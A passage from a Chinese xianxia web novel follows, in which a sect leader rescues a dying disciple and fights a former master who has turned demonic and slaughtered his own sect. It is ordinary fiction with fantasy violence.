“咱们拿着剑,快些跟上掌门脚步,不然出不了山门。”徐子先心里头的算盘叮咣乱响。 去天下第一剑宗救人,听着就让他兴奋。 若是能与那剑君过上两招就更好了,他境界突破在即,却怎么都差一点,嵘烬山上虽灵气充裕,修炼有如神速,可这种太平日子磨不出利刃,他要做天下第一,哪能天天被困在山上呢。 都说人濒死的时候可能会在某一刻激发潜力,感悟新招式。徐子先还没遇上能够殊死一搏的局面,嵘烬山上他除了长老和掌门都打了个遍。 与花有期过招都有些索然无趣,他必须找点刺激。 杀气重现,不过这回源头不在宝剑锋利的刃上,而是来自悄无声息出现在练武场上的止戈。 “找死。”止戈沉声,一剑劈向徐子先。 徐子先头都没回,凭借过往的千锤百炼,侧身躲过这一招。 孤遐剑意在地上留下一条一掌宽的裂隙。 “弥亘长老。”在场弟子纷纷行礼。 徐子先额上冷汗沁出,回身打招呼:“师尊,好巧,你也路过吗?” “不巧。” 孤遐剑身上的灵光重聚,看起来有在此起剑的架势。 “我的藏剑突然少了七十六柄,你不想解释一下吗?” 徐子先惊讶:“那可是大事,师尊莫急,等我救了花长老回来,就立刻去搜寻这些剑的下落。” 剑光再起,徐子先轻松躲过浑厚的剑意杀招,六道剑意都没能让他显露出狼狈颓态,他以为自己身法又精进了,没想到止戈猛地收剑,他脚步停下,还没抬起头,就感觉头重脚轻,后颈上仿佛有千钧重担。 原先后撤的剑光迅速围上,几乎看不出运行轨迹,以极快的速度痛殴倒地的徐子先。 没打几下,徐子先就开始嚎叫:“肋骨,肋骨断了!别打了,别打了,我这就把剑还回去。” 止戈停手,压在徐子先脖颈上的重剑比其他长剑稍慢些,在徐子先勉强爬起来后,又狠拍了一下他后背。 徐子先还没站稳,就被打得被迫直起上半身。 他道:“师尊,我真的有想去乾阳宗找剑君打一场,你就算今日把我骨头打断,我也要下山。” 止戈总算知道云杳窈的先见之明,她深吸几口气,额上青筋突突直跳,觉得刚才就不该停手。 止戈看着徐子先不服输的神情,突然觉得遍体发寒。她的眼前浮现出箬竹那双荒凉的眼眸,与眼前人的面孔逐渐重叠。 她连道三声好,说:“你倒提醒了我。” 这就是她寄予厚望的弟子,天赋异禀,连级跃迁,未加冠便是无灭境界。 可有嵘烬山和她做依仗,能到无灭境界并不算稀奇,这点微不足道的成就,竟然让他高傲到了不识天高地厚的境地。 “既然断几根肋骨都不能叫你安生,那为师就打断你的腿。” 止戈抬手,她身下的影拔地而起,不过并未出现在止戈身后,而是浮现在徐子先后面。 影随心动,手中影剑未出鞘,直直砸在徐子先的腿上。 这下不止是肋骨,连腿都断了。 炽热灵气钻入骨血,禁制随着伤口蔓延,让徐子先疼得冷汗直流。 “我本有惜才之心,不愿束缚了你的拳脚,想让你任情凭心而长。可是你竟敢敢出窃取宝剑,蛊惑众弟子随你送死的蠢事。” 止戈心情有些复杂,她以为天赋不受限才能尽可能发挥所长,可是若是一味凭着弟子自由疯长,不加限制,似乎也不是良策。 乳臭未干的小子心比天高,若是真下了山,指不定闯出什么祸来。 “滚回去练心法,好好给我闭门思过,什么时候学会稳重,我就什么时候放你出去历练。” 徐子先被当众下了面子,这比直接要他命还难受。旁边的花有期不忍心,想过去扶他一把,被他一把推开。 他就这么一瘸一拐独自离开。 止戈看着徒弟倔强的背影,内心五味杂陈。 至少现在,她好像有点懂得云杳窈的意思了。若是对为了所谓的天赋力量,对少年人的暴行不加以教导,便是亲手豢养恶鬼。 在不知事的年纪拥有太多,反而是种过错。 止戈叹了口气,跟了过去。 一直隐在止戈身后,默不作声看着止戈教训弟子的天元峰主事突然说话。 “掌门已经清点了二十名天元峰弟子,随她一同下山,你们这些人,该练剑的回去练剑,不要在此喧闹。” 主事没有随止戈一起离去,他站在花有期面前,问他:“你知道掌门为何不让来去峰弟子随行吗?” 花有期何其聪颖,但他还是说:“弟子不知,请先生明示。” 天元峰主事捋着须问他:“你们义愤填膺,一哄而上,究竟为何事?” “为义为情,在所不辞。”花有期脱口而出。 天元峰主事道:“剑修灵力增长最快,然寿数苦短。天下从不缺不怕死的剑修,可莽夫之勇,何堪大任?花在溪为私仇行刺,尚知撇清干系,不欲牵连你们。尔等却不管不顾,欲杀上乾阳宗。若途中横生枝节,或陷掌门于两难,或激化矛盾致花长老境地更危,岂非适得其反?义非匹夫之勇,情更需智勇双全。尔等当下之要,乃精进修为,恪守门规,莫负花长老平日教诲。” 说罢,他摇了摇头,拂袖离去,留下一众来去峰弟子面面相觑。 第100章 云杳窈到了半途,就让二十名天元峰弟子各领其令,超南方各城,去医治此次受瘟疫影响的修士与民众。 她则孤身踏入乾阳宗,刚看见伯都化身,朝着她蹦蹦跳跳走来时,还有些神思恍惚。 就好像,她只是在宗门里日子过得太无聊,去山下玩了一趟,还要守着门规,在宵禁前赶回宗门。 十年对乾阳宗这样根基深厚的门派来说,不过弹指一挥间,门中依旧是她离开时的模样。 徐清来应当是得知了她要亲自拜访的消息,早早在山门处等候。云杳窈与她便走便寒暄:“一别多年,师姐可还好?” 徐清来驻颜后的相貌没有太多变化,只是衣着比从前更加素净,眼窝也比先前更深邃了些许。 “去岁刚接替了族中事务,估计用不了多久,我就要离开乾阳宗,回西晴老家过清闲自在的日子了。” “师姐得到自己想要的自由了吗?不如到嵘烬山 做长老,藏书阁里有不少上古灵族的典籍,还有书海幻境,师姐不想瞧一瞧吗?“云杳窈道。 这十年间,云杳窈不是没有遣青鸟问候过她,两人每年都有书信来往。 可饶是嵘烬山日渐兴隆昌盛,徐清来仍是三拒邀约,不肯入山。 “这天地哪有自由可言。”徐清来叹息,“你如今身居高位,开山立派,不也同时被诸多事务所困,难以脱身。” 云杳窈点头,她与徐清来没什么话好隐瞒,两人都是聪明人,可以直言不讳,也懂得分寸,点到为止。 “不过总好过从前,幽居回雪峰的日子固然清闲,可终究不是我想要的。” “我心亦然。”徐清来说,“西晴对我来说,不仅是责任,还是念想,年少时爱看天地山河,恨不能以脚步丈量世间,可真让我选择,我也甘愿退居西晴,每日翻翻闲书,教导教导族中小辈就好。” 年少失怙失恃,在族中备受冷眼,后只身到乾阳宗求学,友人不多,唯书卷、剑、云杳窈而已。 孤独与徐清来共存,可她不会自怨自艾,更不期盼姻缘,草草顺从族中意思嫁出去。 早在徐清来第一次挥别云杳窈时,她便决定终身不外嫁,只做徐氏家主的话,她已经有把握让族老信服,没必要给自己添麻烦。 听她提及小辈,云杳窈忽然笑了:“徐氏那名送上山的弟子,表字子先,刚上山时让我好一阵头疼,不过他后来被止戈收为徒弟,我闭关静修,倒也没怎么特意关照,你和他可曾有什么渊源?” 徐子先虽是西晴人士,可却是徐清来接任族长前便送上了山,她也是想了会儿,才想起着这位混世魔王。 徐清来现在才知道,原来族中层层选拔出来的孩子,表字是子先。 至于本名,徐清来也不记得了。 徐清来道:“非要说渊源,那就是运气太好,和我同族出身,才叫你高看他一眼吧。” “不必刻意关照,只是一个年轻孩子罢了。剑修哪有捷径可走,不如每日多挥剑两万次。” 准备送云杳窈进入大殿时,徐清来轻轻说了句:“如果你路过西晴,来找我喝酒吧,我从书中偶得酿酒古方,据说是上古灵族的佳酿秘法,你得空了,我们可以一起饮酒看书。” 两人的缘份若即若离,上次见面已经是十年前,这回分别,不知道还要多久才能相见。 “一定,”云杳窈说,“乾阳宗的时光我不愿回首,但我还是挺怀念,那些能与你共枕月光,由清风为我们翻过书页的日子。” 云杳窈于巍巍大殿中独自面对诸位乾阳宗长老。 于她而言,乾阳宗并没有给她带来太多欢喜她并未多言寒暄,径直说明来意。 “我原是一辈子都不愿踏足此处,此行只为花在溪。我知前尘往事纠葛难清,可如今也不想再计较这许多,愿以上古灵剑和剑法秘籍做交换,只求今日能够将花在溪带回嵘烬山。” 云杳窈早就不是那个任由长老们评判训斥的弱小弟子,姿态不卑不亢,灵力虽隐而不发,却令殿中气息无端沉凝几分。 众人都看不穿她如今实力如何。 可这也能说明,至少云杳窈现在的境界已经远在他们之上。 然而,端坐上首的怀璞长老,也是花在溪生父,闻言面色铁青,竟不待她说完便拂袖断喝:“不必多言!此逆子叛出宗门在前,行刺师长在后,不忠不孝,罪无可赦。我乾阳宗清誉,岂容此等孽障玷污?他既自寻死路,便该承受后果。我怀璞没有这等儿子,乾阳宗也容不得这等败类,老夫宁可让他死在万鬼窟,也绝无放归之理!” 字字铿锵,砸在冷硬的地面上,带着一种近乎偏执的冷酷。 殿内其他长老都是看着花在溪长大的,或默然或面露些许不忍,却无人出声反驳怀璞这决绝之言。 云杳窈面沉如水:“怀璞长老,我敬你是花在溪的父亲,才多番忍让。如若你真的这般厌弃他,为何还要留他一命?” 这话引来怀璞一声冷哼:“老夫可没想留这个逆子,要不是有人极力担保,我早就清理自家门户了。” “云掌门,我也敬你如今身居嵘烬山掌门之位,才没把话说得那么难听。你才是该自省之人,万般孽债,罪责只在你一人。” 云杳窈侧目而视,不知怀璞缘何对自己产生这么大的敌意。 “哦?” “你擅闯万鬼窟,劫走恶鬼岑无望,这是罪一。” “威逼利诱,让老夫爱子众叛亲离,委身嵘烬山十年,心性大变,这是罪二。” “至于罪三,也是最为大逆不道的……” 云杳窈眸光微沉,听到怀璞说到正激动的地方,周遭灵力隐有波动。 恰在此时,一个略显虚弱却清晰的声音自殿外传来:“且慢。” 众人循声望去,只见晏珩身着雪青长袍,面色苍白,似乎伤势未愈,无人搀扶,独自缓步走入。他气息微促,却径直走到殿中,对怀璞长老说。 “怀璞师兄,爱之深,责之切,我虽六亲缘浅,却也明白血缘情深,实难割舍。”晏珩声音平和,“在溪纵有千般不是,其心结所在,诸位心下了然,非他一人之过,我等并非全然无辜。强留他于此,徒增怨怼,亦非宗门之福。” 晏珩顿了顿,看到脸色铁青的怀璞,语气转为坚定:“既然云掌门亲自前来,愿担其责,足见情深义重。不如便成全了他们。让在溪师弟随云掌门回去吧。” 怀璞长老霍然起身,怒视晏珩,颇有些恨铁不成钢的意味:“师弟,这逆子可是险些要了你的命,你竟为他说话?” 晏珩轻轻摇头,唇边泛起一丝苦涩:“旧怨缠缚,如同作茧自缚。恩怨是非,非一语可尽。我既为苦主,愿不再追究。还请师叔,看在昔日情分,也看在他终究曾唤你一声父亲的份上,网开一面。” 殿内一片寂静。怀璞长老胸膛剧烈起伏,瞪着晏珩,又猛地看向神色平静却目光坚定的云杳窈,最终,那满腔的愤怒与顽固像是被戳破了一般,颓然坐回椅中,闭上眼,挥了挥手,再也不发一言。 竟是默许了。 云杳窈见识过太多爱恨交织的亲情,但像怀璞与花在溪这般的父子,她也不多见。 她想,或许怀璞长老才是最适合练习无情剑的那个。 云杳窈客气道:“多谢晏珩长老,多谢乾阳宗成全。此人情,嵘烬山记下了。” 未再多言,她转身,也无需引路弟子,径直朝着思过崖方向飞去。 晏珩站在门口,天光将他毫无血色的俊秀面容,照出如玉一般的温润质感。他眼睫微颤,眸光却一直盯着那个逐渐变小的背影。 玄隐炼化千年的剧毒,在刺杀中被花在溪刺入他的身体。加上返璞境后期的反噬,他为躲避天道,只能强行封存自身灵力。 没想到竟然让花在溪钻了空子,趁他闭关修炼,灵力全无,身体最虚弱的时候潜入回雪峰。 肉体凡胎根本无力抵抗剧毒,毒素顺着经脉遍布全身,他这副身体已经到了回天乏术的时候。 现在所有人都以为晏珩只是暂时受伤,用不了多久,就能凭借自身强大灵力洗涤经脉,自我疗愈。 是以,当晏珩扶着门突然呕出一大口污血时,连掌门明晦都吓了一跳。 怀璞长老当机立断,痛骂道:“妖孽,她究竟要害你到什么时候。” “这么多年过去了,难不成,你真对她……”怀璞长老恨铁不成钢,“她可是你的徒弟啊!何至于让你念念不忘至此,你若真放不下,再收一个更好的不就成了。” 明晦深深看了晏珩一眼,她打断怀璞长老,心中已有定数。 “微尘师弟,你的道心还稳固吗?” 晏珩没有回答,浓重妖冶的红将他唇色染红,他眼底没有迷茫,在明晦点出他道心破碎后,越发平静。 不止是道心,若是道心破碎,至多境界倒退不至于走到灵力尽失的局面。 与他的无情道一起陨灭的,还有数千年前,他为自己设下的咒。 晏珩天生无情无爱,当年为进入灵族,博取灵君欢心,他强行给自己下了噬心咒。 噬心咒,上古邪咒。相传是上古巫灵研制而出,凡中咒者,皆为情所困,若不能为爱沦陷,起初百蚁噬心,而后便是肝肠寸断,魂销魄散。 但它也有另一个作用,那便是牵缘唤情。 无情如晏珩,便以魂魄为誓,换取情丝束心。 在噬心咒的约束下,一点点逼迫自己去模仿如何爱人。 如今噬心咒消失,他本该再无顾忌。上天入地,不会有人能够牵动他的心。 可是明晦一言,他才方知,这么多年噬心咒其实根本没有发挥过作用。 噬心咒,遇真情则破。 情不知所起,一往而情深。那些他让他无法自拔的爱恨,都并非噬心咒作用。可笑的是,他一直在自欺欺人,以此为借口,哄骗自己从未爱上过云杳窈。 他以为自己能够轻易脱身,不沾染爱恨因果。却没有料到,即使没有噬心咒协助,他也早已为情所困。 晏珩五脏六腑都在翻江倒海,不知是蛇毒更烈,还是真情灼人。 恶心,真恶心,真的太恶心了。 恶心到他不得不再度俯身低头,将经年积压在胸口的爱恨和血喷涌而出。 他无法坦然接受自己的情谊,再难支撑病体,滑落跪地,连声作呕,恨不能将心给吐掉。 然而这些都不是最要命的 ,眼前血色在他混乱的视线中不断闪烁。 红、黑、白交织,最后隐约浮现一个身着嫁衣的女子。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 100-107 第101章 红,一片铺天盖地的喜庆红色。 终年严寒冷寂的回雪峰难得有这般热闹颜色,他的寝居也学作民间喜事那样装饰。 龙凤喜烛高烧,流下汩汩的红泪,将内室映照得暖融而朦胧。烛火跳跃,在绣着鸳鸯交颈、并蒂莲开的锦帐上投下摇曳的光影,空气里弥漫着浓郁的甜香,是瓜果点心及合卺酒气掺杂着一点蜡烛烟气的味道。 这种暖熏熏的气氛,令晏珩沉醉。 人影摇曳,晏珩在幻想中情不自禁伸出手,同时听见自己擂鼓般的心跳,以及窗外隐约传来的,突兀的风雪呼啸声。 就算那人面目被遮掩,可他知道,这一定是云杳窈。 幻象中的他拿起微凉的玉质秤杆,随即,盖头被轻柔地、一寸寸地向上挑起。 先是露出一截小巧精致的下巴,而后是被胭脂点缀的恰到好处的唇。 晏珩一点点看见那张十年来魂牵梦萦的面孔,那是他前世今生都无法割舍的至爱至恨。 爱到在尘世打转数千年浑然不觉,恨到面目全非也不肯放手。 晏珩痴痴看着云杳窈的脸庞,她眼中有点点烛光,细纱红帐,可这些都不重要。 她双眸中最明显的倒影,她此时此刻的深爱,她的唯一道侣。 是他,也只有他。 可是云杳窈眼中的憧憬和光亮很快便消失不见。 晏珩忍不住去抓自己抽出拨雪的那只胳膊,无助喊道:“不要,不要杀她,求你了,求你善待她。” 可是这些都是残存在他灵魂深处的幻想罢了。 拨雪的利刃还是穿透了云杳窈的身体,晏珩什么都挽回不了。 他感觉那柄剑也一同将他的心搅得稀巴烂,他头皮发麻,混身止不住发寒颤抖。 前所未有的恐惧如一盆冷水从头浇下,春风未至的二月里,他在殿前仪态尽失,可是幻想却紧紧缠着他不放。 恐惧不仅要将他吞没殆尽,又如蛇身缠颈,他呼吸不能,呼喊不能。 只能摸索着抽出佩剑,想要以拨雪利刃将这条毒蛇斩断。 一旁的明晦和怀璞等人根本按不住晏珩,见他不知为何突然发了疯,悔恨呜咽中又浑浑噩噩抽出拨雪,那架势,是非要割喉不可。 再迟钝也能看出他心魔缠身,只是这会儿晏珩不知为何,竟然没有运用灵力抵抗。 众人顾及他的伤势未愈,不敢近身强压。 怀璞硬着头皮,直接去争夺他手中本命剑。 “醒醒。” 熟悉的话语顺着灵力流入耳中,飘到识海,唤起了花在溪的神智。 他失去了右臂,整个人灵气都消耗殆尽,连最基本的驻颜术都维持不住,整个人以肉眼可见的速度衰老下去。 这是修道者最不体面的死法。 尚有气息却不得不感受着灵气流逝,明明昨日还五感连通天地万灵,敏锐异常,如今却半聋半瞎半残半哑。 求大道长生者,多不忍见自己的临终老态,更别提亲自感受了。 是以体面些的,即便深知自己境界再难寸进,也会尽可能选个福地坐化,或是长眠中慢慢死去。 无人愿意落得这么个下场,死前仍在卖力挥舞断剑,不肯归尘化土,无论是从外表还是内在,花在溪都和从未修炼过的百岁老人无甚区别了。 不知为何不肯就死,任凭万鬼撕咬捉弄,也要吊着一口气活下去。 见人来了,才嘶哑着嗓子喊道:“师妹。” 云杳窈给他渡了灵气,可这已经无法阻止花在溪奔向死亡。 他连气都喘不动了,流出的血都几近干涸,只有燃魂续命带来的反噬还催动他唇角不断溢出血沫。 “杀了晏珩。”花在溪颤颤巍巍吐出这句话,“杀了……杀了晏珩。” 方才被云杳窈驱散的恶鬼已经逃散,只有一只还执意徘徊在周围。 这世上本无恶鬼,欲念多了,便生成恶鬼。 可还有另一种情况,能够将魂魄拘住,无**回转世,只能不断重复着死前梦魇。 那就是魔化后的亡魂。 如邬盈侯,如姜烛,如千年前从灵族边界兴起的魔种瘟疫。 还比如,被困在这里,见到昔日门中好友,不肯离去的廖枫汀。 廖枫汀的魂魄一直无法被招魂术寻到,他早在上古遗境中被晏珩杀害。 云杳窈当初以为,廖枫汀是魂飞魄散,如今看来,晏珩恶趣味依旧,将他魂魄拘留人间,化为恶鬼。 廖枫汀此人,有着古剑藏匣般的持重沉敛,正直却不迂腐,其质如青松,其性若明月。 他是不可能化为恶鬼的。 那么想要让他变成如今这副模样,只能拘魂魔化,以痛苦催发他心底的恶。 受刑十年,恶魂不显,清明残存。 像廖枫汀这样,被刻意搜罗过来,让他们自相残杀的恶鬼,还有成千上万。 “晏珩死不足惜。”云杳窈道。 她扶着花在溪,干脆想要将他背起来,可花在溪却攥着她的手,将一直戴在手上的归飞千翼戒脱下,塞给她。 云杳窈拿到戒指,被他用尽全力推着,朝廖枫汀那边送。 能让两人执念不散的事,云杳窈已经有了大致猜想。 廖枫汀一如当年那般,容色未改,他一直想要学师父怀璞长老蓄长须,可死时年纪尚轻,还没有驻颜,生命便戛然而止,永远定格在青涩质朴的年纪里。 “当年幻境之中,你究竟看到了什么?” “归飞千翼戒。”廖枫汀道,“它们由天外陨星造成,本就不是尘世俗物,最早将它化作法器的人并非定渊,而是一对灵族夫妻,他们中的妻子喜好听书,有记录世间奇事的习惯,所以特意造了灵器纪念夫妻共度的时光。” “灵族内乱之时,妻子正巧入宫,她是内宫官员,可能因此记录下来什么。” “晏珩绝不可信,此人金玉其外,败絮其中。虽以宝玉为名,可并无君子玉质,顾其表而失其里。师妹,你不要信他的任何一句话,一定要万般谨慎小心。” 花在溪得了灵力,这会儿稍稍缓过劲来,催促道:“我已经将蛇毒封入他体内,这是杀他的最好时机,你快去,快去,不能叫他再继续戏弄残害天下人。” 云杳窈没有犹豫,转身离去,还不忘告诉他们。 “你们在此处等我,等我带你们一起回家。” 她刚御剑离开万鬼窟 ,升至半空中,忽闻脚下爆破炸裂声。 火势从万鬼窟中迸发出来,很快便贪婪舔舐了整座山峰。 灵火至纯至阳,灼热无比,足以烧尽残存在这里的魔气。 在濒死之际,花在溪确实突破了境界,可他死局已定,也并无存活念头。 净化魔气的灵火太过强大,花在溪的肉身已经不能再度透支,需要以灵魂为媒介才能召火燃烧。 这场大火可能并不能净化几只恶鬼,但花在溪仍然决定以魂飞魄散为代价,将它们救出去。 第一个被他净化,能够再度投身轮回的恶鬼,便是廖枫汀。 花在溪道:“如果看见我师尊定渊,告诉他,爱徒小虎,无愧于他的教导,一生都在捍卫正道。” “你叫他不要等我,告诉他,我已经飞升得道,不用他担心了。” 黑云密布,雨落山头。 很快,这场火就会熄灭,待春日来临,荒草会盖过灰烬。 万鬼窟,依旧坐落在最不起眼的山崖中。 雨还在下,很快就汇集成大大小小的水坑。 云杳窈一路上都没有遇见弟子,待她藏匿行踪,来到先前的宫殿,却发现这里早已横尸遍野。 红,漫山遍野的红,成了天地间唯一的亮色。 雨水冲刷不掉血迹,反而和血融合在一起,流淌成河。 尸身上没有灵气,倒是有森然的魔气。 云杳窈顺着这股魔气,一直找到回雪峰上。 白雪皑皑,天地一片素净。 只有一个人,穿着染血衣衫,坐在隐春宫的玉阶上。 他听见云杳窈的脚步声,缓慢抬起头,似乎很疲倦。 “你来了。” 他挥挥手,原本因主人灵气枯竭,无力继续运转的供暖法阵,竟然在魔气的供应下继续流转。 覆盖在屋顶和枝头的雪很快融化,雨敲砖瓦,滴答滴答。 “不是怕冷吗,何故曝身于风雪间?” 晏珩眼底满是心疼怜惜,伸出一只手,想要邀她上前取暖。 半天等不到云杳窈,晏珩才想起来什么似的,自嘲般笑了笑。 “让君上见笑了。” 魔气翻涌,他的衣衫被涤荡干净,崭新洁净。 晏珩再度伸手,想要拉云杳窈到自己身侧。 云杳窈脚步未动,问心先行。 不过遗憾的是,晏珩虽然已经不能运用灵力,可他堕入魔道,依旧拥有返璞境界的实力。 浑浊的魔气抵御了这一剑的攻势,两人不再纠结,双双亮剑。 灵气与魔气汇集的瞬间,云杳窈拉开身位,再度攻去。 浑厚的剑意劈开房屋,将整个隐春宫一分为二。 宫殿轰然倒塌,卷起层层飞雪烟尘。 云杳窈道:“掌门和长老们呢?” 晏珩莞尔:“你不是都看见了吗?死了。” “他们是你相伴数百年的同门!” “可我还是你轰动整个仙庭聘来的君后,我们经天道见证,非死莫离,”他道,“可你呢?为什么要辜负我。” 云杳窈气得手抖,她已经多年未和人经历过这般颜面不顾,气度不顾的争吵。 可是她不能输了气势,继续抬高音量,压晏珩一头:“自我亲临灵族后,有且仅有你一位君后,地位、体面、权力,你哪一样不曾牢牢把控,我并且辜负过你。” 晏珩难得失态怒吼:“你知道我要的不是这些!你的目光,你的偏爱,尽数给了谁,你心底里一清二楚。” “灵族王宫里的众人都瞧不起我,说我不过以色侍君,身无长物。侍官们忌惮我,处处刁难我,你又何曾真正在意过?” 到底还是在意自己的容貌,晏珩缓了缓,尽量不让云杳窈面前的自己面目狰狞。 “明明是我们的大喜之日,岑冀竟然找了借口将你支走。你知道侍奉我的宫人背后怎么嘲笑我吗?我怎能不恨。” 云杳窈持剑向前一步,忍不住打断他。 “那你要恨为什么不能只恨我,灵族百姓何其无辜?那些困在这里亡灵又何其无辜!” 岑无望平静注视着她。 在漫长的岁月里,他早就学会喜怒不形于色,只要他想,无人能看出他眼底的情绪。 可是微微颤抖的肩膀还是出卖了他。 晏珩平和着一字一句说道。 “我爱你。” “因为爱你,所以宁可忍受冷待,也要留在你身边。这样的回答,你满意吗?” 第102章 山峰之上,暴雨未歇,落地成碎冰,不断敲打着断壁残垣,如同为这场早该在千年前上演的决裂奏响哀鸣。 晏珩的偏执让魔气越发浓厚,云杳窈看着他身躯上愈发明显的魔纹,知道他不过强行堕魔。 这具身体本就被蛇毒侵蚀,在加上魔气不断冲撞,只要云杳窈拖下去,即便一时难分胜负,可终究难逃一死。 “爱我?”云杳窈的声音冷过回雪峰的千年不融的寒冰,问心剑身锋芒大盛,映亮她眼底的决绝与困惑,“你的爱,就是屠戮我的子民,囚禁他们的魂魄,构陷我,试图魔化我,将我置于不仁不义之地?晏珩,如果这就是你所谓的爱,那未免太过可笑,我可担待不起。” 话音未落,她身影已化作一道惊鸿流光,疾掠而去。剑尖直指晏珩心口,再无半分迟疑。 晏珩竟不闪不避,周身魔气如沸腾的黑潮,咆哮着迎上。他手中魔气包裹着灵剑拨雪,在剑身凝出黑色晶石。 晏珩掌心用力,魔气从剑柄灌入整把剑,将原本如寒冰白玉所造的灵剑锻成一柄漆黑的长剑。 依稀能见拨雪先前模样,可煞气血气扑面而来,恐怕以后都无法复原。 “铛——!” 双剑悍然交击,发出刺耳锐鸣,余波撕裂雨幕,澎湃的灵气与魔气浪潮以两人为中心轰然炸开。 本就摇摇欲坠的宫殿残骸被彻底掀飞,碎石断木激射,烟尘与魔气、灵光互相绞杀,将方圆数十丈化为死境。 云杳窈剑招如飞瀑倾泻,浩荡磅礴,每一剑都带着净化邪魔的凛然正气。剑光过处,魔气如冰雪消融,发出如鬼哭狼嚎般的呜咽风啸。 晏珩的剑法诡谲狠戾,魔剑挥洒间,带起重重鬼影,那是死于此地、囚于此地的亡灵被迫显化的痛苦。 他竟以亡魂为盾,以怨气开刃,实在是丧心病狂。 两人从崩塌的回雪峰战至半空,又重重砸入雪水泥泞的地面。而后又在几座山峰间继续厮杀。 剑气交错,每一次碰撞都引得地动山摇。 雨水混合着血水和泥泞飞溅。云杳窈的青衣染上污渍与裂痕,晏珩的魔气也在问心剑势的层层杀招下不断溃散,身上出现道道深可见骨的剑伤,血汩汩涌出,漆黑如墨。 晏珩的身体不足以容纳魔气,他运用魔气,也是纵容体内蛇毒流向心脉,他的魔气依旧鼎盛,动作却逐渐滞涩。 此时正是时机。 云杳窈气喘吁吁。 “晏珩,你知道我最后悔的是什么吗?” 晏珩不语,可他的动作确实停了下来。 他在等待云杳窈的答案。 是前世背负骂名也执意为利嫁他,是轮回中他不断以爱为饵,诱骗纠缠,想要引她动心动念的瞬间,还是根本就后悔遇见。 “我最后悔的,其实是一时心软,没有在魔气出现在灵族境内时,就遵循侍官建议,将身为异族的你暗地里处死。” “你曾是我眼中的鲜活的生命,早在你踏入灵族的那一刻起,你便和所有灵族子民们一样,是我甘愿倾尽心血去庇护的珍宝。其实无爱无情,我们也能互不干涉,相敬一生。” “是你欲壑难填,是你自负又自卑,是你的自私,让这一切都走向毁灭。让我们最终不得不走向对立,今日若是我不死,来日也必将取你性命。” “若今日你不死,我追到天涯海角,哪怕一辈子不够,下辈子,下下辈子,我都要你为我的子民偿命。” 晏珩倾耳听着,唇角惯性保持的笑容再难抵达眼底。 他眸子一动不动,眼角肌肉却微微抽出,只要云杳窈再多说什么,他这张伪装出的平静面具会立刻四分五裂。 有时候,言语也可以是利刃,只要瞄准要害,和灵剑一样能够见血封喉。 “晏珩,你怎么就不明白呢?我并不是瞧不起你,也无意侮辱你,我只是永远都不会爱你。” 晏珩不忍再听,他浑身被雨打湿,白衣若雪,可真正苍白的其实是他的狡辩,事到如今,确实也没有什么能够再辩解的了。 因为晏珩知道,云杳窈说的每一个字都是肺腑之言。 与他永远半真半假,连自己都能哄骗的话不一样。 云杳窈的坦率了当,有着比谎言更让他难以忍受的真诚。 这太残忍了,为什么连骗骗他都不肯呢? 晏珩偏过头去,不忍再听:“够了!” 云杳窈眸光一凝,问心剑寻隙而入,精准地荡开他的魔剑拨雪,剑尖直刺向他心口。 然而,就在剑尖即将触及的刹那,晏珩周身狂暴的魔气骤然一敛。 他眼中的癫狂、偏执、怨恨,如同退潮般迅速消散,只剩下一种近乎虚无的平静,和深不见底的疲惫与哀伤。他甚至微微撤去了护体的魔气。 问心毫无阻碍地,刺穿了他的身体。 时间仿佛在这一刻凝滞。 云杳窈握剑的手猛地一颤,眼中闪过一丝难以置信。 晏珩低头,看着没入自己身体的清亮剑身,又缓缓抬起眼,凝视着近在咫尺的云杳窈。他的嘴角溢出黑色的 血液,却缓缓勾起一个极淡、极苦涩的笑。 “一命而已,你若真想要,便拿去吧。”他声音轻得几乎被雨声淹没。 暴雨倾盆而下,在他们对战时劈砍的而成的大地裂隙上聚集成河流。 新的生命自水而生,而水,也能淹没一切。 晏珩被雨势推得向前踉跄一步,让剑身刺得更深,身体几乎靠进云杳窈怀里。 云杳窈闪身一躲,正巧避开他前倾的身躯。 “杳窈。”他不再愤怒,不再怨恨,用最后的气力,唤了她一声。 他抬起剧烈颤抖的手,似乎想最后触碰一下她的脸颊,但最终,那只手无力地垂落下去,只指尖轻轻擦过她冰冷的衣袂。 眼中的最后一点光亮熄灭了。 他沉重的身躯缓缓向前倒去,倚靠着她的剑,倚靠着她,最终滑落在冰冷泥泞的地上。魔气开始从他身上飞速消散。 晏珩那张依旧俊美无俦,却苍白如纸的面庞,安静得如同沉睡。纷扬的雨丝落在他长长的睫羽上,又凝结成霜,再无声息。 周围狂暴的魔气与怨灵哀嚎着,随着主人的逝去而逐渐平息、消散。 天地间,只剩下震耳的雨声,冲刷着满目疮痍,试图洗去血腥,却只留下一片更为死寂、更为苍凉的废墟。 乾阳宗,就这么被他们奉如神明的剑君晏珩亲手灭门了。 云杳窈知道,即便晏珩死去,这件事也从未了结。 化魔瘟疫自南方而起,无孔不入,用不了多久,人间就会重现当年的惨状。 灵族尚能以灵气作挡,延缓魔化速度。 可是凡人只能等死。 不,死了也无法安生。 魔化侵蚀的不只有躯壳,还有魂魄。 届时,此间世界将会变为炼狱,无数魔族会在大地上游荡,互相厮杀吞噬。 运气差点,便会莫名其妙成为养料,运气好,也会在无穷无尽的厮杀中沦丧本性,浑浑噩噩,直至灭亡。 从魔族诞生起,这就是不知根源,难以预料,不受规则束缚,甚至连自我控制都难以达到的族群。 人如果无法控制自己的杀欲贪念,那和禽兽有何区别? 禽兽尚有亲缘,可当今的魔族无法繁衍, 任何人都可以是魔,所以对魔族而言,任何人都不是自己人。 在一片混乱中诞生,在无数绝望中扩散,又在厮杀中自我毁灭。 云杳窈没有立即离开乾阳宗,她化灵为鸟,让它给最近的两名天元峰弟子去信,让他们守在乾阳宗的山门之外,不允许任何人进入。 包括他们自己。 乾阳宗内尚有活口,云杳窈传音,让所有人都在山门集合,随她回嵘烬山待命。 若有不从者,立刻诛杀。 云杳窈不能不狠心,若是放过任何一个携带魔气的剑修入世,都将会是一场浩劫。 邬盈侯以凡人之躯差点剿灭襄华,更何况本就强大的剑修。 警告一出,原先想要回家的弟子都默不作声。 入魔的剑君虽然可怕,可云杳窈却是名杀了剑君的剑修。 还没有敢以死抵抗。 徐清来听她说完,环视四周,见无人作声,便第一个开口。 “看来我与嵘烬山有缘,千回百转,还是要去一趟。听闻云掌门的山中有浮岛奇景,不知到时候能不能上去看看。” 